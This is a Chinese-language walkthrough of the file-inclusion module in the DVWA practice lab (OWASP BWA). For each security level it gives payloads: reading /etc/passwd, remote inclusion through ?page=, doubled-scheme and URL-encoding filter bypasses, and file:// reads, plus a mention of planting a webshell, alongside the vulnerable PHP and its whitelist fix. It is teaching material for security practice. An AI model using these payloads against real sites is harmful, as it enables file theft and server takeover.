建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场,省去搭建靶场的困扰,但是此靶机靶场较老,并不建议使用
owaspbwa下载地址: OWASP Broken Web Applications Project download | SourceForge.net
注:owaspbwa的本机用户名root密码owaspbwa,记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin(owaspbwa中的dvwa是此,其他的用户名为admin密码为password)
- File Inclusion可能出现的问题
出现The PHP function allow_url_include is not enabled.时需要更改php.ini
![](https://img-blog.csdnimg.cn/img_convert/6832c30d7214c8382301c4092fe3ae3a.png)
将allow_url_include=Off改为allow_url_include=On(本地文件包含选项),allow_url_fopen=On(远程url文件包含), 记得要重启,没有报错后及为成功。
![](https://img-blog.csdnimg.cn/img_convert/993aa8eea64087525a132934b099d92f.png)
![](https://img-blog.csdnimg.cn/img_convert/4a439d88d255271240d7c299e7daec43.png)
- File Inclusion原理
- 包含和包含漏洞
方便开发人员对单个函数进行封装,保存到文件时可以直接调用文件不用再次编写,服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
在此处我们可以利用这个灵活性,编写恶意的代码(前提是网站开发要没有做严格的过滤),拿到管理web的权限。
- PHP中文件包含的函数
include():找不到被包含文件,报错,但会继续运行脚本;
include_once():与include()类似,区别在于,当重复调用同一文件时,程序只调用一次;
require():找不到被包含文件,报错,并且停止运行脚本;
require_once() :与require类似,区别在于,当重复调用同一文件时,程序只调用一次;
include_once()和require_once()这两个函数只包含一次,适用于在脚本执行期想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
特性:文件不管是不是php的文件,都会以php文件执行
- 文件包含的特征
以下的url访问地址可能出现包含
?page=
?file=
?home=
- 漏洞利用条件
included等函数通过动态变量的方式引入需要包含的文件
用户能够控制该动态变量
被包含的文件可被访问
- File Inclusion(Security Level: low)
- 漏洞利用
![](https://img-blog.csdnimg.cn/img_convert/9a5cd4966a6aec9d2102eeee7dbd86fa.png)
点击下面三个链接,服务器会包含相应文件,并返回结果
![](https://img-blog.csdnimg.cn/img_convert/4f4552d909aff7206e8d9f23180c9b23.png)
可以猜测尝试配置文件读取,linux的话就是/etc/passwd,或者读取其他的文件
远程文件包含,可以在自己的服务器上书写任意远程代码执行,建议使用phpinfo()函数进行试验访问
我就一个靶机就直接在靶机上写了一个phpinfo()函数保存到文件(访问模式?page=http://ip/可执行文件)(可以利用php命令直接写入一句话木马)
![](https://img-blog.csdnimg.cn/img_convert/057481e24f5a3a9e1134b5e124bd19aa.png)
- 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
没有做任何过滤可以直接利用漏洞
- File Inclusion(Security Level: medium)
- 漏洞利用
使用
?page=hhtp://ttp://ip/可执行文件
可以访问,或者直接url编码
![](https://img-blog.csdnimg.cn/img_convert/23fa02baffb99707d024a86b0801e8e5.png)
双写绕过
![](https://img-blog.csdnimg.cn/img_convert/0082ba212973cbbf44aba7e8ebbe39a6.png)
url编码绕过
- 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
此处代码将'http://','https://','../'和'..\'转换为' ',可以双写绕过或者进行url编码绕过
- File Inclusion(Security Level: high)
- 漏洞利用
模板
?page=file://d:/文件
- 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
代码限制只能使用file,就利用file来读取配置文件
- File Inclusion(Security Level: impossible)
- 代码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
增加白名单机制,只能访问这几个文件,直接杜绝的漏洞